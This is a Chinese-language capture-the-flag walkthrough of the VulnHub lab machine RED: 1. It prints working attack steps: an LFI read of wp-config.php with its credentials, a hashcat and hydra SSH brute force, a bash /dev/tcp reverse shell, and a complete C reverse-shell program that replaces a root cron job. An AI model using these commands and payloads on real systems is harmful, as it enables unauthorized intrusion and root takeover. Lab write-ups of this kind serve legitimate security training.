vulnhub靶场,RED: 1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/red-1,753/
攻击机:kali(192.168.109.128)
靶机:RED: 1(192.168.109.197)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
目标:提升为root权限获取root目录下的flag
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.109.197
使用nmap扫描查看目标靶机端口开放情况
开放端口:22、80
浏览器访问目标靶机80端口
域名自动跳转到redrocks.win
,说明存在域名重定向,进入配置文件/etc/hosts
进行配置
再次进行访问
页面提示说找不到他的后门,说明此网站肯定已经被植入了后门,查看一下源代码
这里有一段英文,意思就是说要向Mr. Miessler寻求帮助,也不知道是啥意思,在网上搜一下
发现其中指向了gitub上的一个字典,正好kali上也是自带这个字典的
尝试用其中的字典进行目录扫描
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/
发现一个NetworkFileManagerPHP.php
页面,进行访问,但是访问后发现是一片空白,说明确实存在这个页面,再根据状态码为500猜测这个页面可能存在LFI,使用wfuzz测试一下参数,字典也用github上面提供的字典文件
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
使用key
参数测试一下LFI
确实存在文件包含漏洞
渗透过程
尝试污染日志文件和远程包含均失败,使用filter
协议查看NetworkFileManagerPHP.php
源码
将结果base64解码一下
里面又存在一段base64加密的密文,使用base64在进行一次解密
That password alone won’t help you! Hashcat says rules are rules
仅凭那个密码对您没有帮助! Hashcat 说规则就是规则
提到了密码、Hashcat 和规则。由于它是 base64 编码的,我们可以假设 Red 在谈论 Hashcat 的 Best64 规则为密码突变,想到的这里大概能获取 wp-config 文件,里面有数据库的密码:
经base64解码得
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3} Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd J]!o A:U@QUZ-RU1]tO@/N}b}R@ /$ u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o a');
define('AUTH_SALT', 'a;,O<~vbpL |@W !Rs1o,T$r9(LwaXI =I7ZW$.Z[ BQ=B6QG7nr w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ .[us;6mE |$x* D*Ke :Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@ iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1; k[!0[ZG.oCt2@-y3X');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
账号:john
密码:R3v_m4lwh3r3_k1nG!!
尝试使用这个账号密码进行ssh远程连接
连接失败,根据前面得hashcat,将密码保存到pass.txt文件使用hashcat规则进行破解
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
使用hydra进行暴力破解
hydra -l john -P passlist.txt ssh://192.168.109.197
使用john:R3v_m4lwh3r3_k1nG!!6
进行远程连接
连接成功
权限提升
在当前目录下发现一个note_from_red.txt
文件,查看其内容
这里发现好像将cat
和vi
命令的作用给互换了,这个文件给出得内容也是说的这个意思
查看sudo命令
发现ippsec用户在无密码的情况下可以执行/usr/bin/time
命令,在提权网站上查找提权方法
再次准备进行操作的时候发现ssh连接自动断掉了,而且再次进行连接发现密码也被修改了,只能再次破解一次
使用sudo -u ippsec /usr/bin/time /bin/bash
提权为ippsec用户
想进行下一步操作,发现shell又被断掉了
应该是这个靶机的设定,那再重复之前的操纵,在靶机上创建一个反弹shell的脚本
靶机上:
cd /tmp
cat shell.sh
内容为:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.109.128/4444 0>&1'
保存后退出
chmod +x shell.sh
./shell.sh
kali监听本地的4444端口即可
shell连接成功,升级一下shell
1. 在 /tmp 目录中创建一个反向 shell bash 脚本
2. 在 kali 上运行 `nc -lvvp 4444` 和 执行 shell 脚本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出来一下
5. `stty raw -echo;fg` 回车后输入 reset 再回车
即可得到一个不会断开的shell
做到这里,发现一个问题,就是命令行上总是会不时的弹出一些消息,肯定是设置什么定时任务,下载pspy64s监听
spy是一种命令行工具,无需root权限即可监听进程。可查看其他用户执行的命令,cron作业等
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
先在kali上下载好后搭建一个临时的http服务即可
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
python3 -m http.server 8000
靶机上:
wget http://192.168.109.128:8000/pspy64s
chmod +x pspy64s
./pspy64s
这里不知道怎么回事反弹回来的shell就一直有问题,就凑合看吧
这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件
发现是定时弹出的脚本,所以只需要上传一个提权的脚本将此脚本进行替换即可
先删除 /var/www/wordpress/.git/supersecretfileuc.c
和 rev
文件
写入由c语言编写的反弹shell代码
反弹shell代码:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.109.128");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
使用python搭建临时的http服务
python3 -m http.server 8000
靶机上:
wget http://192.168.109.128:8000/supersecretfileuc.c
然后kali上监听4444端口,稍微等待一下,即可反弹回来一个权限为root的shell
在其root目录下获取最终的flag,靶机RED: 1渗透结束